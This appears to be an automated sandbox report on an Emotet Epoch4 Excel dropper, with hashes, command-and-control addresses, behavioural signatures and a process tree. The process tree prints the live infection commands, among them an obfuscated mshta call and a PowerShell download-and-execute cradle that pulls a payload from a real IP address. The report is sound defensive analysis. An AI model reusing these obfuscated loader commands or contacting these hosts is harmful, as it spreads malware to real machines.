emotet | 0cce7ccfd9419f3709d66fe83d54693f44c3d44b36f3d631765e8f994e12af24

General

Target

2022-1-28-26980baaa937807459e75d434a75aa19.xls
Size

46KB
MD5

26980baaa937807459e75d434a75aa19
SHA1

913a3e83c96ec2e3154c616900db90f3b17d32f4
SHA256

0cce7ccfd9419f3709d66fe83d54693f44c3d44b36f3d631765e8f994e12af24
SHA512

f0f21a84bc43682ac5ba2f67a46005ae1c68518b8611b97691b338da68b344e947ab921c17955bd2f1a6b244588ae357620f940f53d8febdee620ffbf24c276c

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2256	2408	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

39 3868 mshta.exe
45 1556 powershell.exe
47 1556 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2536 rundll32.exe
904 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Bvqkhlyhh\cyjvihvq.dex rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1344 3868 WerFault.exe mshta.exe

flow	pid	process
39	3868	mshta.exe
45	1556	powershell.exe
47	1556	powershell.exe

pid	process
2536	rundll32.exe
904	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Bvqkhlyhh\cyjvihvq.dex	rundll32.exe

pid	pid_target	process	target process
1344	3868	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2408 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1556	powershell.exe
1556	powershell.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1344	WerFault.exe
1556	powershell.exe
2768	rundll32.exe
2768	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1556 powershell.exe
Token: SeDebugPrivilege 1344 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	1344	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE
2408	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2408 wrote to memory of 2256	2408	EXCEL.EXE	CMD.EXE
PID 2408 wrote to memory of 2256	2408	EXCEL.EXE	CMD.EXE
PID 2256 wrote to memory of 3868	2256	CMD.EXE	mshta.exe
PID 2256 wrote to memory of 3868	2256	CMD.EXE	mshta.exe
PID 3868 wrote to memory of 1556	3868	mshta.exe	powershell.exe
PID 3868 wrote to memory of 1556	3868	mshta.exe	powershell.exe
PID 1556 wrote to memory of 3044	1556	powershell.exe	cmd.exe
PID 1556 wrote to memory of 3044	1556	powershell.exe	cmd.exe
PID 3044 wrote to memory of 2536	3044	cmd.exe	rundll32.exe
PID 3044 wrote to memory of 2536	3044	cmd.exe	rundll32.exe
PID 3044 wrote to memory of 2536	3044	cmd.exe	rundll32.exe
PID 2536 wrote to memory of 904	2536	rundll32.exe	rundll32.exe
PID 2536 wrote to memory of 904	2536	rundll32.exe	rundll32.exe
PID 2536 wrote to memory of 904	2536	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 4076	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 4076	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 4076	904	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 2768	4076	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 2768	4076	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 2768	4076	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-26980baaa937807459e75d434a75aa19.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2408

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2536

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bvqkhlyhh\cyjvihvq.dex",KCdVvceg
8⤵
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bvqkhlyhh\cyjvihvq.dex",DllRegisterServer
9⤵
- Suspicious behavior: EnumeratesProcesses
PID:2768

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3868 -s 1680
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
memory/904-338-0x0000000005350000-0x0000000005375000-memory.dmp

Filesize
148KB

Download
memory/904-336-0x00000000051A0000-0x00000000051C5000-memory.dmp

Filesize
148KB

Download
memory/904-334-0x0000000005140000-0x0000000005165000-memory.dmp

Filesize
148KB

Download
memory/904-332-0x00000000050E0000-0x0000000005105000-memory.dmp

Filesize
148KB

Download
memory/904-330-0x0000000005000000-0x0000000005025000-memory.dmp

Filesize
148KB

Download
memory/904-328-0x0000000004F20000-0x0000000004F45000-memory.dmp

Filesize
148KB

Download
memory/904-325-0x0000000004A00000-0x0000000004A25000-memory.dmp

Filesize
148KB

Download
memory/1556-315-0x0000021EEA700000-0x0000021EEA720000-memory.dmp

Filesize
128KB

Download
memory/1556-296-0x0000021EECA20000-0x0000021EECA5C000-memory.dmp

Filesize
240KB

Download
memory/1556-310-0x0000021EECD40000-0x0000021EECDB6000-memory.dmp

Filesize
472KB

Download
memory/1556-308-0x0000021EEA700000-0x0000021EEA720000-memory.dmp

Filesize
128KB

Download
memory/1556-307-0x0000021EEA700000-0x0000021EEA720000-memory.dmp

Filesize
128KB

Download
memory/1556-277-0x0000021EEC0B0000-0x0000021EEC0D2000-memory.dmp

Filesize
136KB

Download
memory/2408-116-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/2408-129-0x00007FF987050000-0x00007FF987060000-memory.dmp

Filesize
64KB

Download
memory/2408-128-0x00007FF987050000-0x00007FF987060000-memory.dmp

Filesize
64KB

Download
memory/2408-119-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/2408-118-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/2408-117-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/2408-115-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/2536-322-0x0000000004860000-0x0000000004885000-memory.dmp

Filesize
148KB

Download
memory/2768-342-0x0000000003F60000-0x0000000003F85000-memory.dmp

Filesize
148KB

Download
memory/2768-344-0x0000000004520000-0x0000000004545000-memory.dmp

Filesize
148KB

Download
memory/4076-340-0x0000000004270000-0x0000000004295000-memory.dmp

Filesize
148KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads